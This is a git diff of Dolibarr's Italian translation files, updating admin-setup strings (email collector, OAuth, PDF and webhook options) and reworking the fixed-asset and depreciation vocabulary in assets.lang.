+FCKeditorForProductDetails=WYSIWIG creazione/modifica di descrizioni prodotti o linee per oggetti (linee di proposte, ordini, fatture, ecc...). +FCKeditorForProductDetails2=Attenzione: l'utilizzo di questa opzione per questo caso è seriamente sconsigliato in quanto può creare problemi con i caratteri speciali e la formattazione della pagina durante la creazione di file PDF. FCKeditorForMailing= Editor WYSIWIG per le email FCKeditorForUserSignature=WYSIWIG creazione/modifica della firma utente FCKeditorForMail=WYSIWIG creation/edition for all mail (except Tools->eMailing) @@ -1766,7 +1790,7 @@ DetailMenuHandler=Gestore menu dove mostrare il nuovo menu DetailMenuModule=Nome del modulo, per le voci di menu provenienti da un modulo DetailType=Tipo di menu (in alto o a sinistra) DetailTitre=Etichetta menu o codice per la traduzione -DetailUrl=URL del link del menu (URL assoluto del link o collegamento esterno con http://) +DetailUrl=URL a cui il menu ti invia (link URL relativo o link esterno con https://) DetailEnabled=Condizione per mostrare o meno un campo DetailRight=Visualizza il menu come non attivo (grigio) DetailLangs=Nome del file .lang contenente la traduzione del codice dell'etichetta @@ -1797,7 +1821,7 @@ Buy=Acquista Sell=Vendi InvoiceDateUsed=Data utilizzata per la fatturazione YourCompanyDoesNotUseVAT=La tua azienda è stata definita per non utilizzare l'IVA (Home - Installazione - Azienda / Organizzazione), quindi non ci sono opzioni IVA da impostare. -AccountancyCode=Accounting Code +AccountancyCode=Conto di contabilità AccountancyCodeSell=Codice contabilità vendite AccountancyCodeBuy=Codice contabilità acquisti CREATE_NEW_VAT_WITHOUT_AUTO_PAYMENT=Mantieni la casella di controllo "Crea automaticamente il pagamento" vuota per impostazione predefinita quando crei una nuova tassa @@ -1810,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Use events types (managed in menu Setup -> Dictionaries -> AGENDA_USE_EVENT_TYPE_DEFAULT=Automatically set this default value for type of event in event create form AGENDA_DEFAULT_FILTER_TYPE=Automatically set this type of event in search filter of agenda view AGENDA_DEFAULT_FILTER_STATUS=Automatically set this status for events in search filter of agenda view +AGENDA_EVENT_PAST_COLOR=Colore dell'evento passato +AGENDA_EVENT_CURRENT_COLOR=Colore dell'evento corrente +AGENDA_EVENT_FUTURE_COLOR=Colore dell'evento futuro AGENDA_DEFAULT_VIEW=Quale vista si desidera aprire per impostazione predefinita quando si seleziona il menu Agenda AGENDA_REMINDER_BROWSER=Abilita promemoria eventi sul browser dell'utente (Quando viene raggiunta la data del promemoria, il browser mostra un popup. Ogni utente può disabilitare tali notifiche dalla configurazione delle notifiche del browser). AGENDA_REMINDER_BROWSER_SOUND=Attiva i suoni per le notifiche @@ -1837,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=Stock decrease in POS is not compatib CashDeskYouDidNotDisableStockDecease=You did not disable stock decrease when making a sale from Point of Sale. Hence a warehouse is required. CashDeskForceDecreaseStockLabel=La riduzione delle scorte per i prodotti batch è stata forzata. CashDeskForceDecreaseStockDesc=Diminuisci prima secondo le date più antiche di Eatby e Sellby. -CashDeskReaderKeyCodeForEnter=Codice chiave per "Inserisci" definito nel lettore di codici a barre (Esempio: 13) +CashDeskReaderKeyCodeForEnter=Chiave Codice ASCII per "Invio" definito nel lettore di codici a barre (Esempio: 13) ##### Bookmark ##### BookmarkSetup=Impostazioni modulo segnalibri BookmarkDesc=Questo modulo consente di gestire i segnalibri web. È possibile aggiungere collegamenti a pagine Dolibarr o a qualsiasi altro sito web esterno al menu di sinistra. @@ -1875,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Modello per la numerazione delle fatture fornitor IfSetToYesDontForgetPermission=Se impostato su un valore non nullo, non dimenticare di fornire autorizzazioni a gruppi o utenti autorizzati per la seconda approvazione ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=Impostazioni modulo GeoIP Maxmind -PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation.
      Examples:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Percorso del file contenente l'ip Maxmind nella traduzione del paese NoteOnPathLocation=Nota bene: il file deve trovarsi in una directory leggibile da PHP. YouCanDownloadFreeDatFileTo=È disponibile una versione demo gratuita del 'Maxmind GeoIP country file' su %s. YouCanDownloadAdvancedDatFileTo=Altrimenti è disponibile una versione completa, con aggiornamenti al seguente indirizzo: %s @@ -1884,7 +1911,7 @@ TestGeoIPResult=Test di conversione indirizzo IP -> nazione ProjectsNumberingModules=Modulo numerazione progetti ProjectsSetup=Impostazioni modulo progetti ProjectsModelModule=Modelli dei rapporti dei progetti -TasksNumberingModules=Tasks numbering module +TasksNumberingModules=Modulo numerazione compiti TaskModelModule=Tasks reports document model UseSearchToSelectProject=Wait until a key is pressed before loading content of Project combo list.
      This may improve performance if you have a large number of projects, but it is less convenient. ##### ECM (GED) ##### @@ -1926,6 +1953,7 @@ BackupDumpWizard=Procedura guidata per creare file di backup del database (dump) BackupZipWizard=Procedura guidata per creare l'archivio della directory dei documenti SomethingMakeInstallFromWebNotPossible=Installation of external module is not possible from the web interface for the following reason: SomethingMakeInstallFromWebNotPossible2=For this reason, process to upgrade described here is a manual process only a privileged user may perform. +InstallModuleFromWebHasBeenDisabledContactUs=L'installazione o lo sviluppo di moduli esterni o siti Web dinamici, dall'applicazione, è attualmente bloccato per motivi di sicurezza. Contattaci se hai bisogno di abilitare questa funzione. InstallModuleFromWebHasBeenDisabledByFile=Install of external module from application has been disabled by your administrator. You must ask him to remove the file %s to allow this feature. ConfFileMustContainCustom=Installing or building an external module from application need to save the module files into directory %s. To have this directory processed by Dolibarr, you must setup your conf/conf.php to add the 2 directive lines:
      $dolibarr_main_url_root_alt='/custom';
      $dolibarr_main_document_root_alt='%s/custom'; HighlightLinesOnMouseHover=Highlight table lines when mouse move passes over @@ -2035,7 +2063,7 @@ MAIN_PDF_MARGIN_RIGHT=Margine destro sul PDF MAIN_PDF_MARGIN_TOP=Margine superiore sul PDF MAIN_PDF_MARGIN_BOTTOM=Margine inferiore su PDF MAIN_DOCUMENTS_LOGO_HEIGHT=Altezza per logo in PDF -DOC_SHOW_FIRST_SALES_REP=Show first sales representative +DOC_SHOW_FIRST_SALES_REP=Visualizza prima il referente commerciale MAIN_GENERATE_PROPOSALS_WITH_PICTURE=Aggiungi una colonna per l'immagine sulle righe della proposta MAIN_DOCUMENTS_WITH_PICTURE_WIDTH=Larghezza della colonna se viene aggiunta un'immagine su righe MAIN_PDF_NO_SENDER_FRAME=Nascondi i bordi sulla cornice dell'indirizzo del mittente @@ -2053,12 +2081,14 @@ RemoveSpecialChars=Rimuovi caratteri speciali COMPANY_AQUARIUM_CLEAN_REGEX=Regex filter to clean value (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Regex filter su clean value (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Duplicazione non consentita +RemoveSpecialWords=Pulisci alcune parole durante la generazione di sottoconti per clienti o fornitori +RemoveSpecialWordsHelp=Specificare le parole da pulire prima di calcolare il conto cliente o fornitore. Usare un ";" tra ogni parola GDPRContact=DPO (Data Protection Officer) o in italiano RPD (Responsabile della Protezione dei Dati) GDPRContactDesc=Se memorizzi dati personali nel tuo Sistema Informativo, puoi nominare qui il contatto responsabile del Regolamento generale sulla protezione dei dati HelpOnTooltip=Testo di aiuto da mostrare come tooltip HelpOnTooltipDesc=Inserisci qui il testo o una chiave di traduzione affinché il testo sia mostrato nel tooltip quando questo campo appare in un form YouCanDeleteFileOnServerWith=You can delete this file on the server with Command Line:
      %s -ChartLoaded=Chart of account loaded +ChartLoaded=Piano dei conti caricato SocialNetworkSetup=Setup of module Social Networks EnableFeatureFor=Enable features for %s VATIsUsedIsOff=Note: The option to use Sales Tax or VAT has been set to Off in the menu %s - %s, so Sales tax or Vat used will always be 0 for sales. @@ -2069,17 +2099,18 @@ EmailCollectors=Collezionisti di posta elettronica EmailCollectorDescription=Aggiungi un lavoro programmato e una pagina di configurazione per scansionare regolarmente caselle di posta elettronica (usando il protocollo IMAP) e registrare le email ricevute nella tua applicazione, nel posto giusto e / o creare automaticamente alcuni record (come i lead). NewEmailCollector=New Email Collector EMailHost=Host of email IMAP server -EMailHostPort=Port of email IMAP server +EMailHostPort=Porta IMAP del server loginPassword=Login/Password -oauthToken=Oauth2 token -accessType=Acces type -oauthService=Oauth service -TokenMustHaveBeenCreated=Module OAuth2 must be enabled and an oauth2 token must have been created with the correct permissions (for example scope "gmail_full" with OAuth for Gmail). +oauthToken=Token Oauth +accessType=Tipo accesso +oauthService=Servizio Oauth +TokenMustHaveBeenCreated=Il modulo OAuth2 deve essere abilitato e deve essere stato creato un token oauth2 con i permessi corretti (ad esempio scope "gmail_full" con OAuth per Gmail). MailboxSourceDirectory=Mailbox source directory MailboxTargetDirectory=Mailbox target directory EmailcollectorOperations=Operations to do by collector EmailcollectorOperationsDesc=Le operazioni vengono eseguite dall'alto verso il basso MaxEmailCollectPerCollect=Max number of emails collected per collect +TestCollectNow=Prova raccogliere CollectNow=Collect now ConfirmCloneEmailCollector=Sei sicuro di voler clonare il raccoglitore email %s? DateLastCollectResult=Data dell'ultimo tentativo di ritiro @@ -2109,6 +2140,7 @@ CodeLastResult=Ultimo codice risultato NbOfEmailsInInbox=Numero di e-mail nella directory di origine LoadThirdPartyFromName=Load third party searching on %s (load only) LoadThirdPartyFromNameOrCreate=Load third party searching on %s (create if not found) +LoadContactFromEmailOrCreate=Carica la ricerca dei contatti su %s (creare se non trovato) AttachJoinedDocumentsToObject=Salva i file allegati nei documenti oggetto se viene trovato un riferimento di un oggetto nell'argomento e-mail. WithDolTrackingID=Messaggio da una conversazione iniziata da una prima email inviata da Dolibarr WithoutDolTrackingID=Messaggio da una conversazione iniziata da una prima email NON inviata da Dolibarr @@ -2118,7 +2150,7 @@ CreateCandidature=Crea domanda di lavoro FormatZip=CAP MainMenuCode=Menu entry code (mainmenu) ECMAutoTree=Show automatic ECM tree -OperationParamDesc=Define the rules to use to extract some data or set values to use for operation.

      Example to extract a company name from email subject into a temporary variable:
      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Examples to set the properties of an object to create:
      objproperty1=SET:a hard coded value
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY:a value (value is set only if property is not already defined)
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. +OperationParamDesc=Definire le regole da utilizzare per estrarre alcuni dati o impostare valori da utilizzare per il funzionamento.

      Esempio per estrarre il nome di un'azienda dall'oggetto dell'email in una variabile temporanea:
      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Esempi per impostare le proprietà di un oggetto da creare:
      objproperty1=SET:un valore hardcoded
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMP solo se la proprietà non è già definita (setavalue)
      objproperty4=ESTRATTO:INTESTAZIONE:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=ESTRATTO:SOGGETTO:([^\n]*)
      object.objproperty5=ESTRATTO:BODY:My il nome dell'azienda è\\s([^\\s]*)

      Utilizzare a ; char come separatore per estrarre o impostare più proprietà. OpeningHours=Orari di apertura OpeningHoursDesc=Inserisci gli orari di apertura regolare della tua azienda. ResourceSetup=Configurazione del modulo Risorse @@ -2169,7 +2201,7 @@ EndPointFor=End point for %s : %s DeleteEmailCollector=Delete email collector ConfirmDeleteEmailCollector=Are you sure you want to delete this email collector? RecipientEmailsWillBeReplacedWithThisValue=Recipient emails will be always replaced with this value -AtLeastOneDefaultBankAccountMandatory=At least 1 default bank account must be defined +AtLeastOneDefaultBankAccountMandatory=Almeno 1 conto bancario di default deve essere definito RESTRICT_ON_IP=Consenti l'accesso API solo a determinati IP client (carattere jolly non consentito, usa lo spazio tra i valori). Vuoto significa che tutti i client possono accedere. IPListExample=127.0.0.1 192.168.0.2 [::1] BaseOnSabeDavVersion=Based on the library SabreDAV version @@ -2183,6 +2215,7 @@ ShowProjectLabel=Etichetta del progetto PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Includi alias nel nome di terze parti THIRDPARTY_ALIAS=Nome terza parte - Alias terza parte ALIAS_THIRDPARTY=Alias terza parte - Nome terza parte +PDFIn2Languages=Mostra le etichette in PDF in 2 lingue diverse PDF_USE_ALSO_LANGUAGE_CODE=Se vuoi avere alcuni testi nel tuo PDF duplicato in 2 lingue diverse nello stesso PDF generato, devi impostare qui la seconda lingua in modo che il PDF generato contenga 2 lingue diverse nella stessa pagina, quella scelta durante la generazione del PDF e questa ( solo pochi modelli PDF supportano questa opzione). Mantieni vuoto per 1 lingua per PDF. PDF_USE_A=Genera documenti PDF in formato PDF/A anziché in formato PDF predefinito FafaIconSocialNetworksDesc=Inserisci qui il codice di un'icona FontAwesome. Se non sai cos'è FontAwesome, puoi utilizzare il valore generico fa-address-book. @@ -2211,12 +2244,12 @@ MailToPartnership=Collaborazione AGENDA_EVENT_DEFAULT_STATUS=Stato dell'evento predefinito durante la creazione di un evento dal modulo YouShouldDisablePHPFunctions=Dovresti disabilitare le funzioni PHP IfCLINotRequiredYouShouldDisablePHPFunctions=Tranne se è necessario eseguire i comandi di sistema nel codice personalizzato, è necessario disabilitare le funzioni PHP -PHPFunctionsRequiredForCLI=Ai fini della shell (come il backup di un lavoro pianificato o l'esecuzione di un programma anitivurs), è necessario mantenere le funzioni PHP +PHPFunctionsRequiredForCLI=Per scopi di shell (come il backup pianificato del lavoro o l'esecuzione di un programma antivirus), è necessario mantenere le funzioni PHP NoWritableFilesFoundIntoRootDir=Nessun file scrivibile o directory dei programmi comuni è stato trovato nella directory principale (buono) RecommendedValueIs=Consigliato: %s Recommended=Raccomandata NotRecommended=Non consigliato -ARestrictedPath=Qualche percorso ristretto +ARestrictedPath=Un percorso limitato per i file di dati CheckForModuleUpdate=Controlla gli aggiornamenti dei moduli esterni CheckForModuleUpdateHelp=Questa azione si collegherà agli editor di moduli esterni per verificare se è disponibile una nuova versione. ModuleUpdateAvailable=Un aggiornamento è disponibile @@ -2224,7 +2257,7 @@ NoExternalModuleWithUpdate=Nessun aggiornamento trovato per i moduli esterni SwaggerDescriptionFile=File di descrizione dell'API Swagger (per l'uso con redoc, ad esempio) YouEnableDeprecatedWSAPIsUseRESTAPIsInstead=Hai abilitato l'API WS obsoleta. Dovresti invece usare l'API REST. RandomlySelectedIfSeveral=Selezionato casualmente se sono disponibili più immagini -SalesRepresentativeInfo=For Proposals, Orders, Invoices. +SalesRepresentativeInfo=Per proposte, ordini, fatture. DatabasePasswordObfuscated=La password del database è offuscata nel file conf DatabasePasswordNotObfuscated=La password del database NON è offuscata nel file conf APIsAreNotEnabled=I moduli API non sono abilitati @@ -2264,10 +2297,10 @@ LateWarningAfter=Avviso di "ritardo" dopo TemplateforBusinessCards=Modello per biglietto da visita di diverse dimensioni InventorySetup= Inventory Setup ExportUseLowMemoryMode=Utilizzare una modalità di memoria insufficiente -ExportUseLowMemoryModeHelp=Utilizzare la modalità di memoria insufficiente per eseguire l'exec del dump (la compressione viene eseguita tramite una pipe anziché nella memoria PHP). Questo metodo non consente di verificare che il file sia completato e non è possibile segnalare un messaggio di errore in caso di errore. +ExportUseLowMemoryModeHelp=Utilizzare la modalità di memoria minima per generare il file di dump (la compressione viene eseguita tramite una pipe anziché nella memoria PHP). Questo metodo non consente di verificare che il file sia completo e il messaggio di errore non può essere segnalato se fallisce. Usalo se riscontri errori di memoria insufficienti. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interfaccia per catturare i trigger di dolibarr e inviarlo a un URL +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Configurazione del webhook Settings = Impostazioni WebhookSetupPage = Pagina di configurazione del webhook @@ -2288,22 +2321,58 @@ IconOnly=Solo icona: solo testo nella descrizione comando INVOICE_ADD_ZATCA_QR_CODE=Mostra il codice QR ZATCA sulle fatture INVOICE_ADD_ZATCA_QR_CODEMore=Alcuni paesi arabi necessitano di questo codice QR sulle loro fatture INVOICE_ADD_SWISS_QR_CODE=Mostra il codice QR-Bill svizzero sulle fatture +INVOICE_SHOW_SHIPPING_ADDRESS=Mostra l'indirizzo di spedizione +INVOICE_SHOW_SHIPPING_ADDRESSMore=Citazione obbligatoria per la Francia UrlSocialNetworksDesc=Link URL del social network. Utilizza {socialid} per la parte variabile che contiene l'ID del social network. IfThisCategoryIsChildOfAnother=Se questa categoria è figlia di un'altra -DarkThemeMode=Dark theme mode -AlwaysDisabled=Always disabled -AccordingToBrowser=According to browser -AlwaysEnabled=Always Enabled -DoesNotWorkWithAllThemes=Will not work with all themes +DarkThemeMode=Modalità tema scuro +AlwaysDisabled=Sempre disabilitato +AccordingToBrowser=Secondo il browser +AlwaysEnabled=Sempre abilitato +DoesNotWorkWithAllThemes=Non funzionerà con tutti i temi NoName=Senza nome -ShowAdvancedOptions= Show advanced options -HideAdvancedoptions= Hide advanced options +ShowAdvancedOptions= Visualizza opzioni avanzate +HideAdvancedoptions= Nascondi opzioni avanzate CIDLookupURL=Il modulo porta un URL che può essere utilizzato da uno strumento esterno per ottenere il nome di una terza parte o un contatto dal suo numero di telefono. L'URL da utilizzare è: -OauthNotAvailableForAllAndHadToBeCreatedBefore=OAUTH2 authentication is not available for all hosts, and a token with the right permissions must have been created upstream with the OAUTH module -MAIN_MAIL_SMTPS_OAUTH_SERVICE=OAUTH2 authentication service -DontForgetCreateTokenOauthMod=A token with the right permissions must have been created upstream with the OAUTH module -MAIN_MAIL_SMTPS_AUTH_TYPE=Authentification method -UsePassword=Use a password -UseOauth=Use a OAUTH token -Images=Images -MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +OauthNotAvailableForAllAndHadToBeCreatedBefore=L'autenticazione OAUTH2 non è disponibile per tutti gli host e deve essere stato creato un token con le autorizzazioni corrette a monte utilizzando il modulo OAUTH +MAIN_MAIL_SMTPS_OAUTH_SERVICE=Servizio di autenticazione OAuth2 +DontForgetCreateTokenOauthMod=A monte del modulo OAUTH deve essere stato creato un token con i permessi corretti +MAIN_MAIL_SMTPS_AUTH_TYPE=Metodo di autenticazione +UsePassword=Usa una password +UseOauth=Usa un token OAUTH +Images=Immagini +MaxNumberOfImagesInGetPost=Numero massimo di immagini consentite in un campo HTML inviato in un modulo +MaxNumberOfPostOnPublicPagesByIP=Numero massimo di articoli su pagine pubbliche con lo stesso indirizzo IP in un mese +CIDLookupURL=Il modulo porta un URL che può essere utilizzato da uno strumento esterno per ottenere il nome di una terza parte o un contatto dal suo numero di telefono. L'URL da utilizzare è: +ScriptIsEmpty=Lo script è vuoto +ShowHideTheNRequests=Mostra/nascondi le richieste SQL %s +DefinedAPathForAntivirusCommandIntoSetup=Definisci un percorso per un programma antivirus in %s +TriggerCodes=Eventi attivabili +TriggerCodeInfo=Inserisci qui il codice (o codici) del/dei trigger che devono generare un post da una richiesta web (sono consentiti solo URL esterni). È possibile inserire più codici per i trigger separati da una virgola. +EditableWhenDraftOnly=Se deselezionato, il valore può essere modificato solo quando l'oggetto nello stato di bozza +CssOnEdit=CSS nelle pagine di modifica +CssOnView=Css nelle pagine di visualizzazione +CssOnList=Css nelle pagine di elenco +HelpCssOnEditDesc=Il Css utilizzato durante la modifica del campo.
      Esempio: "minwidth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=Il Css utilizzato durante la visualizzazione del campo. +HelpCssOnListDesc=Il Css utilizzato quando il campo si trova all'interno di una tabella elenco.
      Esempio: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Nascondi la quantità ordinata sui documenti generati per i ricevimenti +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Mostra il prezzo sui documenti generati per i ricevimenti +WarningDisabled=Avviso disattivato +LimitsAndMitigation=Limiti di accesso e mitigazione +DesktopsOnly=Solo desktop +DesktopsAndSmartphones=Desktop e smartphone +AllowOnlineSign=Consenti firma online +AllowExternalDownload=Consenti download esterno (senza accesso, utilizzando un collegamento condiviso) +DeadlineDayVATSubmission=Giorno di scadenza per la presentazione dell'IVA nel mese successivo +MaxNumberOfAttachementOnForms=Numero massimo di file uniti in un modulo +IfDefinedUseAValueBeetween=Se definito, utilizzare un valore compreso tra %s e %s +Reload=Ricaricare +ConfirmReload=Conferma il ricaricamento del modulo +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/it_IT/assets.lang b/htdocs/langs/it_IT/assets.lang index 6b3e04f6206..b6408755ef8 100644 --- a/htdocs/langs/it_IT/assets.lang +++ b/htdocs/langs/it_IT/assets.lang @@ -1,4 +1,4 @@ -# Copyright (C) 2018 Alexandre Spangaro +# Copyright (C) 2018-2022 Alexandre Spangaro # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by @@ -16,52 +16,171 @@ # # Generic # -Assets = Cespiti -NewAsset = Nuovo cespite -AccountancyCodeAsset = Codice contabilità (cespite) -AccountancyCodeDepreciationAsset = Codice contabilità (conto ammortamento cespite) -AccountancyCodeDepreciationExpense = Accounting code (depreciation expense account) -NewAssetType=Nuovo tipo cespite -AssetsTypeSetup=Asset type setup -AssetTypeModified=Asset type modified -AssetType=Tipo di cespite +NewAsset=Nuovo cespite +AccountancyCodeAsset=Codice contabilità (cespite) +AccountancyCodeDepreciationAsset=Codice contabilità (conto ammortamento cespite) +AccountancyCodeDepreciationExpense=Codice contabilità (conto ammortamento note spese) AssetsLines=Cespiti DeleteType=Elimina -DeleteAnAssetType=Delete an asset type -ConfirmDeleteAssetType=Are you sure you want to delete this asset type? -ShowTypeCard=Visualizza la scheda dei tipi +DeleteAnAssetType=Elimina un modello di risorsa +ConfirmDeleteAssetType=Sei sicuro di voler eliminare questo modello di asset? +ShowTypeCard=Mostra il modello '%s' # Module label 'ModuleAssetsName' -ModuleAssetsName = Cespiti +ModuleAssetsName=Cespiti # Module description 'ModuleAssetsDesc' -ModuleAssetsDesc = Descrizione espiti +ModuleAssetsDesc=Descrizione cespiti # # Admin page # -AssetsSetup = Configurazione cespiti -Settings = Impostazioni -AssetsSetupPage = Pagina configurazione cespiti -ExtraFieldsAssetsType = Attributi complementari (tipo di risorse) -AssetsType=Tipo di cespite -AssetsTypeId=Id tipo di cespite -AssetsTypeLabel=Etichetta tipo di cespite -AssetsTypes=Tipi di cespite +AssetSetup=Configurazione cespiti +AssetSetupPage=Pagina configurazione cespiti +ExtraFieldsAssetModel=Attributi complementari (modello di asset) + +AssetsType=Modello di risorsa +AssetsTypeId=ID modello asset +AssetsTypeLabel=Etichetta modello asset +AssetsTypes=Modelli di asset +ASSET_ACCOUNTANCY_CATEGORY=Gruppo contabilità cespiti # # Menu # -MenuAssets = Cespiti -MenuNewAsset = Nuovo cespite -MenuTypeAssets = Tipi di cespite -MenuListAssets = Elenco -MenuNewTypeAssets = Nuovo -MenuListTypeAssets = Elenco +MenuAssets=Cespiti +MenuNewAsset=Nuovo cespite +MenuAssetModels=Risorse modello +MenuListAssets=Elenco +MenuNewAssetModel=Il nuovo modello di asset +MenuListAssetModels=Elenco # # Module # +ConfirmDeleteAsset=Vuoi davvero eliminare questo cespite? + +# +# Tab +# +AssetDepreciationOptions=Opzioni di ammortamento +AssetAccountancyCodes=Conti +AssetDepreciation=Ammortamento + +# +# Asset +# Asset=Cespite -NewAssetType=Nuovo tipo cespite -NewAsset=Nuovo cespite -ConfirmDeleteAsset=Sei sicuro di voler eliminare questo cespite? +Assets=Cespiti +AssetReversalAmountHT=Importo di storno (senza tasse) +AssetAcquisitionValueHT=Importo di acquisizione (escluse le tasse) +AssetRecoveredVAT=IVA scaricata +AssetReversalDate=Data di annullamento +AssetDateAcquisition=Data di acquisto +AssetDateStart=Data di avvio +AssetAcquisitionType=Tipo di acquisto +AssetAcquisitionTypeNew=Nuovo +AssetAcquisitionTypeOccasion=Usato +AssetType=Tipo di cespite +AssetTypeIntangible=immateriale +AssetTypeTangible=materiale +AssetTypeInProgress=Avviato +AssetTypeFinancial=Finanziario +AssetNotDepreciated=Non ammortizzato +AssetDisposal=Disposizione +AssetConfirmDisposalAsk=Sei sicuro di voler dismettere il bene %s ? +AssetConfirmReOpenAsk=Sei sicuro di voler riaprire l'asset %s ? + +# +# Asset status +# +AssetInProgress=Avviato +AssetDisposed=Disposto +AssetRecorded=Contabile + +# +# Asset disposal +# +AssetDisposalDate=Data di smaltimento +AssetDisposalAmount=Valore di smaltimento +AssetDisposalType=Tipo di smaltimento +AssetDisposalDepreciated=Svalutare l'anno di trasferimento +AssetDisposalSubjectToVat=Smaltimento soggetto ad IVA + +# +# Asset model +# +AssetModel=Il modello dell'asset +AssetModels=I modelli di asset + +# +# Asset depreciation options +# +AssetDepreciationOptionEconomic=Ammortamento economico +AssetDepreciationOptionAcceleratedDepreciation=Ammortamento anticipato (tasse) +AssetDepreciationOptionDepreciationType=Tipo di ammortamento +AssetDepreciationOptionDepreciationTypeLinear=Lineare +AssetDepreciationOptionDepreciationTypeDegressive=Degressivo +AssetDepreciationOptionDepreciationTypeExceptional=Eccezionale +AssetDepreciationOptionDegressiveRate=Tasso decrescente +AssetDepreciationOptionAcceleratedDepreciation=Ammortamento anticipato (tasse) +AssetDepreciationOptionDuration=Durata +AssetDepreciationOptionDurationType=Digitare durata +AssetDepreciationOptionDurationTypeAnnual=Annuale +AssetDepreciationOptionDurationTypeMonthly=Mensilmente +AssetDepreciationOptionDurationTypeDaily=Quotidiano +AssetDepreciationOptionRate=Vota (%%) +AssetDepreciationOptionAmountBaseDepreciationHT=Base di ammortamento (IVA esclusa) +AssetDepreciationOptionAmountBaseDeductibleHT=Base deducibile (IVA esclusa) +AssetDepreciationOptionTotalAmountLastDepreciationHT=Importo totale ultimo ammortamento (IVA esclusa) + +# +# Asset accountancy codes +# +AssetAccountancyCodeDepreciationEconomic=Ammortamento economico +AssetAccountancyCodeAsset=Cespite +AssetAccountancyCodeDepreciationAsset=Ammortamento +AssetAccountancyCodeDepreciationExpense=Spesa di ammortamento +AssetAccountancyCodeValueAssetSold=Valore del bene ceduto +AssetAccountancyCodeReceivableOnAssignment=Credito a cessione +AssetAccountancyCodeProceedsFromSales=Proventi da smaltimento +AssetAccountancyCodeVatCollected=IVA riscossa +AssetAccountancyCodeVatDeductible=Recupero IVA sui beni +AssetAccountancyCodeDepreciationAcceleratedDepreciation=Ammortamento anticipato (tasse) +AssetAccountancyCodeAcceleratedDepreciation=Conto +AssetAccountancyCodeEndowmentAcceleratedDepreciation=Spesa di ammortamento +AssetAccountancyCodeProvisionAcceleratedDepreciation=Recupero/fornitura + +# +# Asset depreciation +# +AssetBaseDepreciationHT=Base di ammortamento (IVA esclusa) +AssetDepreciationBeginDate=Inizio ammortamento il +AssetDepreciationDuration=Durata +AssetDepreciationRate=Vota (%%) +AssetDepreciationDate=Data di ammortamento +AssetDepreciationHT=Ammortamento (IVA esclusa) +AssetCumulativeDepreciationHT=Ammortamento cumulato (IVA esclusa) +AssetResidualHT=Valore residuo (IVA esclusa) +AssetDispatchedInBookkeeping=Ammortamento registrato +AssetFutureDepreciationLine=Ammortamento futuro +AssetDepreciationReversal=Inversione + +# +# Errors +# +AssetErrorAssetOrAssetModelIDNotProvide=L'ID della risorsa o il suono del modello non sono stati forniti +AssetErrorFetchAccountancyCodesForMode=Errore durante il recupero dei conti contabili per la modalità di ammortamento '%s' +AssetErrorDeleteAccountancyCodesForMode=Errore durante l'eliminazione dei conti contabili dalla modalità di ammortamento "%s" +AssetErrorInsertAccountancyCodesForMode=Errore durante l'inserimento dei conti contabili della modalità di ammortamento '%s' +AssetErrorFetchDepreciationOptionsForMode=Errore durante il recupero delle opzioni per la modalità di ammortamento '%s' +AssetErrorDeleteDepreciationOptionsForMode=Errore durante l'eliminazione delle opzioni della modalità di ammortamento "%s" +AssetErrorInsertDepreciationOptionsForMode=Errore durante l'inserimento delle opzioni della modalità di ammortamento "%s" +AssetErrorFetchDepreciationLines=Errore durante il recupero delle righe di ammortamento registrate +AssetErrorClearDepreciationLines=Errore durante l'eliminazione delle righe di ammortamento registrate (storno e futuro) +AssetErrorAddDepreciationLine=Errore durante l'aggiunta di una riga di ammortamento +AssetErrorCalculationDepreciationLines=Errore nel calcolo delle righe di ammortamento (recupero e futuro) +AssetErrorReversalDateNotProvidedForMode=La data di storno non è fornita per il metodo di ammortamento '%s' +AssetErrorReversalDateNotGreaterThanCurrentBeginFiscalDateForMode=La data di storno deve essere maggiore o uguale all'inizio dell'anno fiscale corrente per il metodo di ammortamento '%s' +AssetErrorReversalAmountNotProvidedForMode=L'importo di storno non è fornito per la modalità di ammortamento '%s'. +AssetErrorFetchCumulativeDepreciation=Errore durante il recupero dell'importo di ammortamento accumulato dalla riga di ammortamento +AssetErrorSetLastCumulativeDepreciation=Errore durante la registrazione dell'ultimo importo di ammortamento accumulato diff --git 